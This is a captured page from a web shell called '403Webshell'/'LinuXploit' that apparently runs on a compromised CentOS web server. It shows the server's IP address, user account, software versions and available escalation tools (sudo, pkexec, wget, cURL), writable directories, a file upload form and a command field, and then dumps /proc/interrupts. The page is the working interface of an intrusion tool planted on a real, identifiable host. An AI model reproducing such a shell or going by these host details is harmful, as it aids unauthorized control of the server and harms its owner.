403Webshell
Server IP : 103.48.194.25  /  Your IP : 216.73.216.153
Web Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.33
System : Linux VMHostDefault 3.10.0-1160.42.2.el7.x86_64 #1 SMP Tue Sep 7 14:49:57 UTC 2021 x86_64
User : sieuthimay ( 1016)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/interrupts
            CPU0       CPU1       
   0:        104          0   IO-APIC-edge      timer
   1:         10          0   IO-APIC-edge      i8042
   8:          1          0   IO-APIC-edge      rtc0
   9:          0          0   IO-APIC-fasteoi   acpi
  12:         16          0   IO-APIC-edge      i8042
  14:   13616809          0   IO-APIC-edge      ata_piix
  15:          0          0   IO-APIC-edge      ata_piix
  16:    7000528   39223490   IO-APIC-fasteoi   vmwgfx
  24:          0          0   PCI-MSI-edge      PCIe PME, pciehp
  25:          0          0   PCI-MSI-edge      PCIe PME, pciehp
  26:          0          0   PCI-MSI-edge      PCIe PME, pciehp
  27:          0          0   PCI-MSI-edge      PCIe PME, pciehp
  28:          0          0   PCI-MSI-edge      PCIe PME, pciehp
  29:          0          0   PCI-MSI-edge      PCIe PME, pciehp
  30:          0          0   PCI-MSI-edge      PCIe PME, pciehp
  31:          0          0   PCI-MSI-edge      PCIe PME, pciehp
  32:          0          0   PCI-MSI-edge      PCIe PME, pciehp
  33:          0          0   PCI-MSI-edge      PCIe PME, pciehp
  34:          0          0   PCI-MSI-edge      PCIe PME, pciehp
  35:          0          0   PCI-MSI-edge      PCIe PME, pciehp
  36:          0          0   PCI-MSI-edge      PCIe PME, pciehp
  37:          0          0   PCI-MSI-edge      PCIe PME, pciehp
  38:          0          0   PCI-MSI-edge      PCIe PME, pciehp
  39:          0          0   PCI-MSI-edge      PCIe PME, pciehp
  40:          0          0   PCI-MSI-edge      PCIe PME, pciehp
  41:          0          0   PCI-MSI-edge      PCIe PME, pciehp
  42:          0          0   PCI-MSI-edge      PCIe PME, pciehp
  43:          0          0   PCI-MSI-edge      PCIe PME, pciehp
  44:          0          0   PCI-MSI-edge      PCIe PME, pciehp
  45:          0          0   PCI-MSI-edge      PCIe PME, pciehp
  46:          0          0   PCI-MSI-edge      PCIe PME, pciehp
  47:          0          0   PCI-MSI-edge      PCIe PME, pciehp
  48:          0          0   PCI-MSI-edge      PCIe PME, pciehp
  49:          0          0   PCI-MSI-edge      PCIe PME, pciehp
  50:          0          0   PCI-MSI-edge      PCIe PME, pciehp
  51:          0          0   PCI-MSI-edge      PCIe PME, pciehp
  52:          0          0   PCI-MSI-edge      PCIe PME, pciehp
  53:          0          0   PCI-MSI-edge      PCIe PME, pciehp
  54:          0          0   PCI-MSI-edge      PCIe PME, pciehp
  55:          0          0   PCI-MSI-edge      PCIe PME, pciehp
  56:  423150860  173820190   PCI-MSI-edge      ens192-rxtx-0
  57:   81312920  236704731   PCI-MSI-edge      ens192-rxtx-1
  58:          0          0   PCI-MSI-edge      ens192-event-2
  59:   46453633  184501880   PCI-MSI-edge      vmw_pvscsi
  60:    2093409          0   PCI-MSI-edge      vmw_vmci
  61:          0          0   PCI-MSI-edge      vmw_vmci
 NMI:          0          0   Non-maskable interrupts
 LOC:  454396808  147126774   Local timer interrupts
 SPU:          0          0   Spurious interrupts
 PMI:          0          0   Performance monitoring interrupts
 IWI:  213527386  142748105   IRQ work interrupts
 RTR:          0          0   APIC ICR read retries
 RES:  630026179  643547699   Rescheduling interrupts
 CAL:    3104867    3425402   Function call interrupts
 TLB:    7207121    7987137   TLB shootdowns
 TRM:          0          0   Thermal event interrupts
 THR:          0          0   Threshold APIC interrupts
 DFR:          0          0   Deferred Error APIC interrupts
 MCE:          0          0   Machine check exceptions
 MCP:      46561      46561   Machine check polls
 ERR:          0
 MIS:          0
 PIN:          0          0   Posted-interrupt notification event
 NPI:          0          0   Nested posted-interrupt event
 PIW:          0          0   Posted-interrupt wakeup event

Youez - 2016 - github.com/yon3zu
LinuXploit